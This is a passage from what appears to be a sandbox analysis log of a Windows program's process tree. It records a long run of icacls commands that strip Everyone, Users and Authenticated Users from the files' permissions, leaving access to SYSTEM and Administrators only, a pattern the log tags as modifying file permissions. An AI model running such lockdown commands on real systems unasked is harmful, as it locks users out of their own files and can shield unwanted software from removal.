        icacls "C:\dcy\Client\pt-BR\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:756
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4844
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:3212
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3800
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5836
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4736
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4084
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4176
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-PT\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2444
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-PT\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5184
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ro-RO\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4528
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ro-RO\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1896
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6072
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3904
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3696
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5400
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5768
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1744
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3020
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4408
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4988
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3160
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2168
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:972
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1148
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5080
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3200
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5824
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4324
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru-RU\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4168
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ru-RU\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2892
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sk-SK\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5028
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sk-SK\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4952
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sl-SI\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1300
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sl-SI\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5168
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sq-AL\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4616
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sq-AL\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3464
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sr-Latn-RS\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3376
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sr-Latn-RS\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:752
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sv-SE\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3144
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sv-SE\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5572
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sw-KE\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3164
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\sw-KE\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3320
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ta-IN\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4380
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ta-IN\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6092
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\te-IN\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5504
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\te-IN\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3488
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\th-TH\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2068
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\th-TH\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3168
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tools\VideoPlugin\VideoPlugin.exe" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3804
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5148
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3764
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1272
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4508
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5616
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3384
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2312
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4452
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5548
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4540
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1356
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2920
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:1036
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3600
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4028
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1328
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:540
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr-TR\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4472
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\tr-TR\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1668
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\uk-UA\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4556
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\uk-UA\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5680
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\uz-Latn-UZ\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4228
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\uz-Latn-UZ\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1676
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\vi-VN\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3296
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\vi-VN\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2380
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4828
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4004
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2656
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5444
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4340
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2428
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2600
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1632
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:1448
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3908
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3876
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5712
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5928
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2896
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4940
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1784
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hans\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:800
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3788
      - C:\Windows\system32\icacls.exe
        
